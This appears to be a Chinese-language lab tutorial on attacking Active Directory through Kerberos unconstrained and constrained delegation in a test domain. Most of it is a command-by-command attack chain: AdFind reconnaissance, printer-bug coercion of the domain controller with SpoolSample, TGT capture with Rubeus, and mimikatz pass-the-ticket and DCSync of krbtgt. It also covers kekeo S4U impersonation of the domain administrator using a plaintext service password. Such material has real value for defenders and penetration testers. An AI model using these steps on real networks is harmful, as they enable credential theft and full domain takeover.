非约束委派

非约束委派:当 user 访问 service1 时,如果 service1 的服务账号开启了 unconstrained delegation(非约束委派),则当 user 访问 service1 时会将 user 的 TGT 发送给 service1 并保存在内存中以备下次重用,然后 service1 就可以利用这 张TGT 以 user 的身份去访问域内的任何服务(任何服务是指user能访问的服务)。

配置非约束委派

fyswp5.png

攻击利用

1、寻找委派用户
当服务账号或者主机被设置为非约束性委派时,其userAccountControl属性会包含TRUSTED_FOR_DELEGATION,账户增加了一个TRUSTED_TO_AUTH_FOR_DELEGATION的标志位,对应的值是0x80000,也即是524288,使用ldap查询类工具可获去设置了非约束委派的用户。此处使用AdFinder查询。

# 查询设置了非约束委派的用户
AdFind.exe -b "DC=hack,DC=lab" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedN

# 查询设置了非约束委派的计算机
AdFind.exe -b "DC=hack,DC=lab" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedN

fyswp1.png

2、强制目标主机对设置了约束委派的主机进行认证,此处使用Spooler打印机服务
a、非约束委派主机使用Rubeus.exe监听来自域控4624登录日志

Rubeus.exe monitor /interval:1 /filteruser:WIN-5BGE5ALLKD4$(DC机器账户)

fyswp2.png

b、使用打印机服务让域控强制对非约束委派主机进行认证

SpoolSample.exe WIN-5BGE5ALLKD4(DC) WIN-D5I151BBU6E(非约束委派主机)

fyswp3.png

c、主机收到了DC的TGT
fyswp4.png

d、利用powershell制作票据

[IO.File]::WriteAllBytes("c:\users\user\desktop\ticket.kirbi",[Convert]::FromBase64String("doIFUjCCBU6gAwIBBaEDAgEWooIEWzCCBFdhggRTMIIET6ADAgEFoQobCEhBQ0suTEFCoh0wG6ADAgECoRQwEhsGa3JidGd0GwhIQUNLLkxBQqOCBBswggQXoAMCARKhAwIBAqKCBAkEggQFeNniM/sFvHYyPrSFenXfzvAJKN6vJGUn1GoS5RBLqt2Y0vx+rhVLOC2QBLcFN7OZI9ftPxol6hM/cC9LhIQs0kbp8PCkdclD5rgL4F2iMKnpL53vVauYKHG6IzyIOnA+JvCGqU/o3u8sjlPo/7nKuCBX5txGIMX94yM6U346BOkOHT/EtCVnkiuXW4xsUyjalw+9vZ+lLVNn3cCGKneO2bxtGlvoSHWGIUdh86/GE3ogfju3M1sPHff+3Vgk1wA4QYgdnAsuc5C+REVUd0XJal8AgXX/09q3GwA/N3zcAt6CU+bbYIsTHuL8ceYeVeTzR0TZ5WIkQqecRgOKTcy0yITYQZnfXrwWfWbC38xseuVSX3/e2CKV7mTYJvhftINSAO1Rbixdgw6kSTSJXpX1L2/F03gEm+gv6GxogCsvUqlW6+NhWJuMc1LotowpqRmZKXUmabL37LeChptitR3XeokBVgjTrotsgs4+3JWEdMOGgx75ewxvYgppTJTS5Vdfs8Pmrzaqt86QfpS8LQNmGnCbg7Wyz692Bx9GDzg49fUn9q5fE4TJgSm1UmJsHlYV+Hyv0xUXIzGV9XQl86G+hCBWEx9QWLgxrg2InAqJTMiPEQTEJuUJz+or5Ds/oZlZCneAlrWrxx5gxpG/0LhwuvZ/eX6zOtckeeXHgGjCWCr3Io5xs/0lJwmMXg0jXk5LPMsnqjRn9kI5u/7DtveqmQTADdjSIS0yyntbM2RlarTllNJyAEiHr2UMhJzrR5O37TYW/v1uz4ObfEEF7g5AQmG45DcE+nPLLI0g9KPIsS7bjyD9vfE5MPbTj1VI1dwN8kOmHY/cMG7D7MdpdXYjNsh5nB95Oo3i01gU613ObZC1Xa2Tap+YP+tp9rGLknGZIk1c527tYE8AvJHfGuuPMdwUKTO1L0LyKSFiSO/MxJ1DofB84Pn8+pq=")

e、导出TGT进行ptt

mimikatz kerberos::ptt ticket.kirbi
mimikatz lsadump::dcsync /domain:hack.lab /user:krbrgt /csv

fyswp6.png

约束委派

因为非约束委派的不安全性,约束委派应运而生。在2003之后微软引入了约束委派,对Kerberos引入S4U,包含了两个子协议S4U2self、S4U2proxy。S4U2self可以代表自身请求针对其自身的Kerberos服务票据(ST),S4U2proxy可以以用户的名义请求其它服务的ST,约束委派就是限制了S4U2proxy扩展的范围。

具体过程是收到用户的请求之后,首先代表用户获得针对服务自身的可转发的kerberos服务票据(S4U2SELF),拿着这个票据向KDC请求访问特定服务的可转发的TGS(S4U2PROXY),并且代表用户访问特定服务,而且只能访问该特定服务。

配置约束委派

1、新建一个账户(sql/1qAz2wSx),并配置spn

setspn -A MSSQLSvc/WIN-5BGE5ALLKD4.hack.lab:1433 sql

yswp1.png

2、设置dc的cifs可以被sql用户所委派。需要注意的是使用任何身份验证协议
yswp2.png

攻击利用

1、查找约束委派

#用户
AdFind.exe -b dc=hack,dc=lab -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" 
#主机
AdFind.exe -b dc=hack,dc=lab -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" 

yswp3.png

2、约束委派需要知道sql服务账户的密码或hash,此时在域机器中使用kekeo申请tgt

tgt::ask /user:sql /domain:hack.lab /password:1qAz2wSx

yswp4.png

3、使用该tgt通过s4u伪造administrator@hack.lab去访问dc的cifs服务

tgs::s4u /tgt:TGT_sql@HACK.LAB_krbtgt~hack.lab@HACK.LAB.kirbi /user:administrator /service:cifs/WIN-5BGE5ALLKD4.hack.lab

yswp5.png

4、通过mimikatz使用获得的票据进行ptt

mimikatz
kerberos::purge
kerberos::ptt TGS_administrator@HACK.LAB_cifs~WIN-5BGE5ALLKD4.hack.lab@HACK.LAB.kirbi

yswp6.png

Q.E.D.